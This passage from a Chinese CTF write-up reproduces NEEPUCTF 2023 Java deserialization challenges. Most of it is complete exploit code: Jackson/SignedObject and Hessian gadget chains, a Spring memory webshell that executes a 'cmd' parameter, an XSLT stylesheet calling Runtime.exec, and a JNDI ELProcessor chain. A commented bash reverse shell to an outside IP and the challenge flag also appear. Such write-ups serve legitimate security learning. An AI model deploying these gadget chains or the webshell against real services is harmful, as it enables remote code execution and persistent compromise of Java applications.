最近的题目复现,都是在我的SCTF这个项目中做的,太nice了
C:\Users\c'x'k\Desktop\java\shiro\SCTFjava
前言(No Map)
复现本篇文章是因为发现 安恒11月赛的java题的链子就是从这道题由✌们产生的,AbstractAction这个
https://github.com/R1ckyZ/My-CTF-Challenges 附件链接(当时找了好久好久
搭建这道题环境的时候就感觉很有问题,二个容器id咦
依赖
jackson 2.13.2
snakeyaml 1.29
spring-boot 2.6.7
代码非常的简洁就一个反序列化一个黑名单
public class MainController {
@RequestMapping({"/"})
@ResponseBody
public String status() {
return "Welcome to NEEPUCTF 2023 :D";
}
@RequestMapping({"/nomap"})
@ResponseBody
public String noMap(HttpServletRequest request) {
try {
MyObjectInputStream ois = new MyObjectInputStream(request.getInputStream());
String name = ois.readUTF();
int year = ois.readInt();
if (name.equals("NEEPU") && year == 1949) {
ois.readObject();
}
return "No map to deserialize XD";
} catch (Exception var3) {
var3.printStackTrace();
return "No map to deserialize XD";
}
}
}
public class MyObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = {"bsh", "clojure", "java.util", "javax.management", "java.rmi", "com.sun.jndi", "sun.rmi", "org.apache", "org.hibernate", "org.springframework", "com.mchange.v2.c3p0", "com.rometools.rome.feed.impl", "com.alibaba.fastjson", "java.net.URL", "java.lang.reflect.Proxy", "javax.xml.transform.Templates", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "org.apache.xalan.xsltc.trax.TemplatesImpl", "org.python.core", "com.mysql.jdbc", "org.jboss"};
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected MyObjectInputStream() throws IOException, SecurityException {
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
for (String forbiddenPackage : blacklist) {
if (className.startsWith(forbiddenPackage)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
javax.management 、java.util这俩类一禁用序列化的都没了。还好昨天复现了那个题
用AbstractAction链子直接能触发getter方法,只不过这里Templates也被禁了,那直接触发signObject打二次反序列化
(到这里有了个疑问,二次反序列化能绕过这个过滤嘛)
啥能不能你不实验怎么知道???直接开调试
AbstractAction#readObject—-?XString#equals—->jackson#toString—>signObject#getObject
这里最后到达 signObject的readObject,然后后面随便打一个badattribute链子不知道会不会被过滤
链子构造完了接下来吧黑名单带入看一下
直接通了很神奇
第一次反序列化
这是二次反序列化后的部分
就在我本地idea中通了,但打jar包死活打不通我真的服啦,就在我以为是我自己的问题的时候
tnnd通了,顿时明白了jackson链子就有不稳定的问题(记得在复现DASCTF10月文章月赛RASP那道题记录过)
完善过后就好用多了(但是发现用✌们直接在idea中用post传参,貌似传不上去,还得是py)
最后的payload
先序列化然后010改一下,在上传
package example.demo.controller;
import com.example.ezfastjson.MemShell;
import com.example.ezfastjson.Threada;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
public class payload {
private static String string;
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = (TemplatesImpl)getTemplatesImpl();
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode pojoNode2=new POJONode(proxyObj);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,pojoNode2);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp2, kp.getPrivate(), Signature.getInstance("DSA"));
XString xString=new XString("aa");
POJONode pojoNode=new POJONode(signedObject);
//xString.equals(pojoNode);
StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
action.putValue("JYcxk1",xString);
action.putValue("JYcxk2",pojoNode);
Class<?> aClass = Class.forName("javax.swing.AbstractAction");
Field changeSupport = aClass.getDeclaredField("changeSupport");
changeSupport.setAccessible(true);
changeSupport.set(action,new SwingPropertyChangeSupport(""));
//serialize(action);
FileInputStream fileInputStream=new FileInputStream("ser.bin");
byte[] bytes=new byte[fileInputStream.available()];
doPOST(bytes);
fileInputStream.read(bytes);
System.out.println(Base64.getEncoder().encodeToString(bytes));
// unserialize("ser.bin");
}
public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
TemplatesImpl templates=new TemplatesImpl();
// byte[] evilBytes=getEvilBytes();
setFieldValue(templates,"_name","JYcxk");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(Threada.class.getName()).toBytecode()}
);
// setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
ClassPool classPool = new ClassPool(true);
CtClass hello = classPool.makeClass("Hello");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
hello.setSuperclass(ctClass);
CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
// ctConstructor.setBody("java.lang.Thread.sleep(99.2);");
//ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/4444 0>&1\"});");
//ctConstructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"mkdir /me/jycxk/Desktop/sfsfs\"});");
hello.addConstructor(ctConstructor);
byte[] bytes=hello.toBytecode();
hello.detach();
// byte[] bytes = ClassPool.getDefault().get("com.sad.controller.SpringInterceptor").toBytecode();
return bytes;
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeUTF("NEEPU");
objectOutputStream.writeInt(1949);
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new MyObjectInputStream(new FileInputStream(Filename));
System.out.println(objectInputStream.readUTF());
System.out.println(objectInputStream.readInt());
return objectInputStream.readObject();
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
// URI url = new URI("http://neepusec.fun:27010/nomap");
//URI url = new URI("http://8.130.116.247:8090/nomap");
URI url = new URI("http://127.0.0.1:8090/nomap");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
}
内存马
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class InjectToController extends AbstractTranslet {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/Flag")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
就此篇文章进行一个tabby的分析
从上面可知我们XString#equals—>jackson#tostring
只有从readObject—>equals或者 readObject—>toString 这点链子是找不到的,后面都是固定的
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 20) yield path
return * limit 20
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME:"toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path
return * limit 10
下面这条语句就会找到AbstrAction这个类的链子了
match (source:Method) where source.NAME in ["readObject"]
match (sink:Method {NAME:"toString"})<-[r:CALL]-(m1:Method) where r.REAL_CALL_TYPE in ["java.lang.Object"]
//r.REAL_CALL_TYPE 啥意思?表main是调用了这个类
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path
//6是啥意思?
where none(n in nodes(path) where (n.CLASSNAME =~ "javax.management.*" or n.CLASSNAME =~ "com.alibaba.fastjson.*" or n.CLASSNAME =~"java.uti.*" or n.CLASSNAME =~"com.sun.jndi.*" or n.CLASSNAME =~"sun.rmi.*" or n.CLASSNAME=~"java.net.URL.*" or n.CLASSNAME=~"java.io.*" or n.CLASSNAME=~"java.math.BigDecimal" or n.CLASSNAME=~"com.sun.javafx.*" or n.CLASSNAME=~"java.awt.*" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeCellEditor" or n.CLASSNAME=~"com.sun.deploy.cache.*" or n.CLASSNAME=~"javax.security.auth.kerberos.KerberosPrincipal" or n.CLASSNAME=~"javax.crypto.SealedObject" or n.CLASSNAME=~"javax.sql.rowset.serial.SerialArray" or n.CLASSNAME=~"org.yaml.snakeyaml.events.Event" or n.CLASSNAME=~"sun.jvm.hotspot.utilities.ObjectReader" or n.CLASSNAME=~"javax.swing.ArrayTable" or n.NAME=~"clone" or n.CLASSNAME=~"javax.swing.text.DefaultStyledDocument" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeSelectionModel" or n.CLASSNAME=~"java.beans.beancontext.BeanContextSupport" or n.CLASSNAME=~"sun.security.pkcs.PKCS8Key" or n.CLASSNAME=~"sun.font.FontDesignMetrics"))
//以sun.font.FontDesignMetrics开头的,~是一个正则匹配
//上面的这些类就相当于黑名单,路径调试不进去就加入进去把那个类
return * limit 10
match (source:Method) where source.NAME0 in ["javax.swing.readObject"]
本来是找不到AbstractAction这个类的,改了一个配置,把withAllJDK改为true即可
这是边的属性,可以看到有REAL_CALL_TYPE 调用的类型
去掉那个REAL_CALL_TYPE也是可以的只不过查询的比较慢
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME:"toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path
where none(n in nodes(path) where (n.CLASSNAME =~ "javax.management.*" or n.CLASSNAME =~ "com.alibaba.fastjson.*" or n.CLASSNAME =~"java.uti.*" or n.CLASSNAME =~"com.sun.jndi.*" or n.CLASSNAME =~"sun.rmi.*" or n.CLASSNAME=~"java.net.URL.*" or n.CLASSNAME=~"java.io.*" or n.CLASSNAME=~"java.math.BigDecimal" or n.CLASSNAME=~"com.sun.javafx.*" or n.CLASSNAME=~"java.awt.*" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeCellEditor" or n.CLASSNAME=~"com.sun.deploy.cache.*" or n.CLASSNAME=~"javax.security.auth.kerberos.KerberosPrincipal" or n.CLASSNAME=~"javax.crypto.SealedObject" or n.CLASSNAME=~"javax.sql.rowset.serial.SerialArray" or n.CLASSNAME=~"org.yaml.snakeyaml.events.Event" or n.CLASSNAME=~"sun.jvm.hotspot.utilities.ObjectReader" or n.CLASSNAME=~"javax.swing.ArrayTable" or n.NAME=~"clone" or n.CLASSNAME=~"javax.swing.text.DefaultStyledDocument" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeSelectionModel" or n.CLASSNAME=~"java.beans.beancontext.BeanContextSupport" or n.CLASSNAME=~"sun.security.pkcs.PKCS8Key" or n.CLASSNAME=~"sun.font.FontDesignMetrics" or n.CLASSNAME=~"java.lang.Throwable.*"))
return * limit 9
是不是有Bean
做这道题之前,先要做一下D^3CTF那道题先润了日后见
(咦,12.9我润回来了呜呜呜,也就一个星期丷)
题目名字:ezjava(😢😢这个名字的含金量应该就不用说了八,D3CTF题的名字也是ezjava)
首先查看依赖
com.alipay.sofa hessian 3.3.13
snakkeyaml-1.25
还有一堆的黑名单,大概看了 常用的都禁用了还有二次反序列化也禁用了,但是关于hessian的都还在
给出了几个类,首先分析一下功能
Blacklist
public class Blacklist {
public static List<String> hessianBlackList = readList("security/YouAreBadBad.txt");//读取黑名单列表
public static List<String> readList(String blackListFile) {
ArrayList<String> result = new ArrayList<>();
InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream(blackListFile);//读取传入参数路径的内容
if (inputStream == null) {
return result;
}
Scanner scanner = null;
try {
scanner = new Scanner(inputStream);
while (scanner.hasNextLine()) {
String nextLine = scanner.nextLine();
if (!isDeny(nextLine)) {//去掉空格 tab 换行
result.add(nextLine);
}
}
return result;
} catch (Exception e) {
if (scanner == null) {
return result;
}
scanner.close();
return result;
}
}
static boolean isDeny(String cs) {
int strLen;
if (cs == null || (strLen = cs.length()) == 0) {
return true;
}
for (int i = 0; i < strLen; i++) {
if (!Character.isWhitespace(cs.charAt(i))) {
return false;
}
}
return true;
}
}
SafeInvoker
public class SafeInvoker extends InvokePipeline {
private int hashCode;
public Object doInvoke(String className, String methodName, Object[] args) throws InvalidClassException {
ClassUtil.checkClassAccess(className);
//首先将输入的类名和黑名单中做一个匹配
try {
Class clazz = Class.forName(className, true, null);//执行类的方法并且初始化
if (methodName != null) {
Method method = clazz.getMethod(methodName, ClassUtil.getClassArray(args));
method.setAccessible(true);
return method.invoke(clazz, args);
}
Constructor constructor = clazz.getConstructor(ClassUtil.getClassArray(args));
constructor.setAccessible(true);
return constructor.newInstance(args);//类的构造方法是有参数的
} catch (Exception e) {
return null;
}
}
@Override // com.example.ezjava.util.InvokePipeline
public int hashCode() {
return this.hashCode;
}
public String toString() {
return "Invoker Method: SafeInvoker";
}
}
SafeSerializer
public class SafeSerializer {
public static Object deserialize(byte[] obj) throws Exception {
Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(obj));
ClassNameResolver resolver = new ClassNameResolver();
resolver.addFilter(new DenyClassFilter());
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
input.setSerializerFactory(serializerFactory);
input.getSerializerFactory().setClassNameResolver(resolver);
return input.readObject();
}//hessian 反序列化,但是也校验了黑名单
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bos);
output.writeObject(obj);
output.close();
return bos.toByteArray();
}
/* loaded from: ezjava.jar:BOOT-INF/classes/com/example/ezjava/security/SafeSerializer$DenyClassFilter.class */
static class DenyClassFilter extends NameBlackListFilter {
public DenyClassFilter() {
super(Blacklist.hessianBlackList);
}
}
}
ClassUtil
public class ClassUtil {
public static void checkClassAccess(String checked) throws InvalidClassException {
for (String s : Blacklist.hessianBlackList) {
if (s.equals(checked)) {
throw new InvalidClassException("show show way");
}
}
}
public static Class[] getClassArray(Object[] args) {//获取父类的功能?
Class[] argClasses = null;
if (args != null) {
argClasses = new Class[args.length];
for (int index = 0; index < args.length; index++) {
if (args[index] instanceof Integer) {
argClasses[index] = Integer.TYPE;
} else if (args[index] instanceof Boolean) {
argClasses[index] = Boolean.TYPE;
} else if (args[index] instanceof ColorUIResource) {
argClasses[index] = Color.class;
} else {
argClasses[index] = args[index].getClass();
}
}
}
return argClasses;
}
}
InvokePipeline
public class InvokePipeline {
private final int hashCode = -1;
public boolean check(Object obj, String methodName, Object[] args) throws NoSuchMethodException, InvalidClassException {
if (obj.getClass().getMethod(methodName, ClassUtil.getClassArray(args)).getReturnType() != Void.TYPE) {
return false;
}//要往下面走则,方法返回类型必须是 Void
return obj.equals(new SafeInvoker().doInvoke(obj.getClass().getName(), methodName, args));
}//然后这里又会调用 equals和自定义的doinvoke方法
public int hashCode() {
return -1;
}
}
比较奇怪的是每个类几乎都重写了hashCode这个方法,就很容易想到HashMap,正好没禁hashmap,我觉得这道题就是通过自定义的类当中间的链子拼凑成的,看了看原生类的链子
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing) //禁用了
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing) //禁用了
toString:253, MimeTypeParameterList (javax.activation) //禁用了
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
其他的也是同样都禁了个稀巴烂,
doInvoke、check,其实我感觉就是从 Hesian2Input—>check考察这个链子,
先用tabby找一下返回类型为void的类,懵逼的我?,后来看wp一种就是D3CTF哪种方法,一种就是XSLT截断完全看不懂,先附上代码了
match (m1:Method) where m1.RETURN_TYPE="void"
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class Hessian_PKCS9Attributes_SwingLazyValue_Process {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
String payload = "http://127.0.0.1:8000/calc.xml";
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XSLTC", "-XSL", payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
baos.write(79);
out.writeObject(s);
out.flush();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
另一种方法直接打D3ctf那个reference注入
package com.example.ezjava.controller;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.naming.ResourceRef;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class ELProcessChain {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\c'x'k\\Desktop\\dasctffastjson\\target\\classes\\com\\example\\MemShell\\SpringInterceptorEcho.class"));
String s1 = Base64.getEncoder().encodeToString(bytes);
String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
//String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(resourceRef);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
POJONode jsonNodes = new POJONode(ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(79);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
//out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonNodes);
//out.flushBuffer();
out.flush();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
//Neepu{Y0u_REa11Y_Haue_bean_D0Nt_U}
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}
fastjson题目
fastjson 1.2.8
commons-io-2.11.0
junit-jupiter-api-5.8.2
可以发现这里面,无论是否符合条件都会返回new Result这个信息,没有反序列化?
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String hello() {
return "Hello, NEEPU CTFer :D";
}
@RequestMapping(value = {"/login"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
